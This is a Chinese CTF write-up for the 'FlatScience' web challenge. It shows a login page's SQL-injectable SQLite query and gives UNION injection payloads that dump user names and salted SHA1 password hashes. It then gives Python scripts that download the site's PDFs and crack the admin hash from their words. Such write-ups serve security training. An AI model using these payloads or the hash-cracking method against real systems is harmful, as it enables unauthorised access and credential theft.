Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >攻防世界web进阶区FlatScience详解

攻防世界web进阶区FlatScience详解

作者头像
wuming
发布于 2021-01-18 13:05:17
发布于 2021-01-18 13:05:17
2.3K01
代码可运行
举报
文章被收录于专栏:wuming_CTFwuming_CTF
运行总次数:1
代码可运行
  1. 1. 题目
    1. 1.1. 解法

题目

解法

我们一个一个点进去发现也就是一些论文之类的

我们御剑发现了一些东西 robots。txt 我们登录试试

在login页面有报错,我们猜测是sql注入

他的源码中写到,登录是你不可能绕过的

这里源码中出现了?debug,可能是一个调试页面,我们访问看看

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! --> 

判定POST提交的usr和pw是否存在,很显然usr处存在注入 这里提醒是sqlite数据库

tips:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

我们使用sqlmap进行尝试

可见,存在注入 但是并没有跑出来,可能是我的网速问题 这里我们知道了他的数据库是sqlite 那么我们进行手工注入 1’ –+,不报错,说明闭合方式确定了。

1' order by 3 --+报错,1' order by 2 --+不报错,说明字段是2,

这里我们看到有回显了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

我们查询到了他的数据库,发现有hint这个选项 进去看看看

这里查到,需要他的论文, 我们查询一下其他的列

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1' union select id,group_concat(id) from users--+得到123

1' union select id,group_concat(name) from users--+得到admin,fritze,hansi

1' union select id,group_concat(password) from users--+得到3fab54a50e770d830c0416df817567662a9dc85c、54eae8935c90f467427f05e4ece82cf569f89507、34b0bb7c304949f9ff2fc101eef0f048be10d3bd

我们猜测,他的密码应该和pdf有关 使用网上的脚本 python3爬取多目标网页PDF文件并下载到指定目录:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list 
    print(url)
    req = requests.get(url).text
    re_1 = re.findall(re1,req)
    for i in re_1:
        pdf_url = url+i
        pdf_list.append(pdf_url)
    re_2 = re.findall(re2,req)
    for j in re_2:
        new_url = url+j[0:2]
        get_pdf(new_url)
    return pdf_list
    # return re_2

pdf_list = get_pdf('http://220.249.52.133:46876/')
print(pdf_list)
for i in pdf_list:
    os.system('wget '+i)
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

得到admin的密码为ThinJerboa

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【愚公系列】2023年05月 攻防世界-Web(FlatScience)
Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议。该协议规定了机器人在访问网站时可以访问哪些页面和目录。一般来说,Robots协议被用来控制搜索引擎抓取和索引网站上的内容的方式。
愚公搬代码
2025/05/28
590
【愚公系列】2023年05月 攻防世界-Web(FlatScience)
攻防世界Web部分Wp
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
用户5878089
2019/07/24
1.3K0
python提取pdf文本内容
Layout布局分析返回的PDF文档中的每个页面LTPage对象。这个对象和页内包含的子对象,形成一个树结构。如图所示: 
周小董
2019/03/25
3.9K0
python提取pdf文本内容
Python | PDF 提取文本的几种方法
常见的 PDF 文件可以分为两类:一种是文本转化而成(Text-Based),通常可以直接复制和粘贴;另一种是扫描文件而成(Scanned),比如影印书籍、插入图片制成的文件。依据此分类,将 Python 中处理 PDF 文件的第三方库可以简单归类:
PyStaData
2021/05/18
13.5K0
Python | PDF 提取文本的几种方法
Python:一周笔记
主题 邮件处理 日志模块 pdf处理 md5 mongodb索引和聚合 excel 读写 1. 发送邮件模块 这里指的邮件功能当然不是指的是职场上所谓的邮件,指的是程序运行中希望将程序运行的日志信息或者错误捕获信息发送给指定的收件人,通过邮件可以了解程序运行的状态或者出错信息。 关于邮件的基本概念,这里引用廖雪峰老师python教程中的邮件模块: 假设我们自己的电子邮件地址是me@163.com,对方的电子邮件地址是friend@sina.com(注意地址都是虚构的哈),现在我们用Outlook或者Fox
谢伟
2018/06/06
8590
PDF转Word完全免费?这么好的事情我怎么不知道????
现在网络上大部分的PDF转Word都是收费的,基本都是按页收费,有了我们的python代码后,我们就可以完全免费的将PDF转成Word了,这么好的福利我们赶紧来了解一下吧!
我被狗咬了
2019/09/23
9270
PDF转Word完全免费?这么好的事情我怎么不知道????
基于Python实现对各种数据文件的操作
更多参考:https://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files
1480
2019/07/10
2.7K0
基于Python实现对各种数据文件的操作
python读取pdf提取文字和图片
如下图所示,一份pdf有几十页,每页九张图片, 提取出图片并用图片下方的文本对图片命名
诡途
2022/01/07
8.8K0
python读取pdf提取文字和图片
使用pdfminer提取PDF文件中的文字
和word文档一样,pdf文件也拥有强大的排版功能。对于pdf的编程操作而言,分为读和写两大类,其中读是相对简单的一种,比如读出pdf文件中的文字,写是比较难的,除了文字,图片等基本元素,最重要的是排版的样式控制,而编程还无法满足样式的灵活性。
生信修炼手册
2020/12/11
6.4K0
pdfminer将pdf转为csv
之前随便做了一下中金所杯的金融知识大赛的试题,低分飘过。看到复试名单,突然有一个想法,这个是pdf,万一有人想分析一下每个区域的人的分布,那怎么办。
钱塘小甲子
2019/01/28
1.6K0
python pdf
# 从pdf中读取文本 # 写pdf # 加密解密pdf # 和平pdf,加水印 # pip install PyPDF2 %cd D:\python全站\office import PyPDF2 D:\python全站\office pdf_obj = open('coop.pdf', 'rb') pdf = PyPDF2.PdfFileReader(pdf_obj) pdf.numPages 3 page = pdf.getPage(0) page.extractText() # 提取文件 '\n\n
py3study
2020/01/08
9410
一个薪资double的捷径:自动化简历内推工具
最近,小编在处理简历时,发现大量简历需要一个个打开文件,复制姓名、邮箱、电话号码、学历等关键信息,效率特别低且部分文件无法直接复制。于是,小编便写了文件阅读工具的脚本,支持文件格式有:doc,docx,pdf。
不吃西红柿
2022/07/29
5180
使用pdfminer解析pdf文件
最近要做个从 pdf 文件中抽取文本内容的工具,大概查了一下 python 里可以使用 pdfminer 来实现。下面就看看怎样使用吧。
kongxx
2018/12/27
1.9K0
三大神器助力Python提取pdf文档信息
今天这篇文章是今年最后一篇文章了,因此也是一篇非常有用的技术文章,你可以现在只了解一下并进行收藏,等你需要用到的时候再拿出来看一看,这样就好了。
啃饼思录
2019/02/26
21K0
爬虫系列:读取 CSV、PDF、Word 文档
上一期我们讲解了使用 Python 读取文档编码的相关问题,本期我们讲解使用 Python 处理 CSV、PDF、Word 文档相关内容。
太后
2022/01/12
3.3K0
Python:解析PDF文本及表格——pdfminer、tabula、pdfplumber 的用法及对比
pdfminer3k 是 pdfminer 的 python3 版本,主要用于读取 pdf 中的文本。
丹枫无迹
2019/01/22
19.6K1
如何将pdf转换为word 3.0
相对于封装的软件,python和R的操作需要稍微折腾一下。浏览论坛的时候的发现了一款轻量级程序,尝试了一下还不错,看一下转换的效果:
生信菜鸟团
2020/08/04
2.2K0
如何将pdf转换为word 3.0
Python读取PDF文档并翻译
翻译服务选择免费的百度翻译api:https://api.fanyi.baidu.com/
小锋学长生活大爆炸
2020/08/13
2.2K0
Python读取PDF文档并翻译
51. Python 数据处理(2)
#所以,由上代码可以分析出,如果文件原本就存在,而你要修改它,不能直接使用xlwt,必须使用 xlutils.copy 方法复制一份出来再修改,最后保存或覆盖原文件。
py3study
2020/01/10
6830
51. Python 数据处理(2)
❤️ 6个Python办公黑科技,工作效率提升100倍!HR小姐姐都馋哭了(附代码)❤️
环境准备:python 3.6 、mac(下文中doc转docx是mac写法,windows更简单,导入win32的包即可)
不吃西红柿
2022/09/19
4000
❤️ 6个Python办公黑科技,工作效率提升100倍!HR小姐姐都馋哭了(附代码)❤️
相关推荐
【愚公系列】2023年05月 攻防世界-Web(FlatScience)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档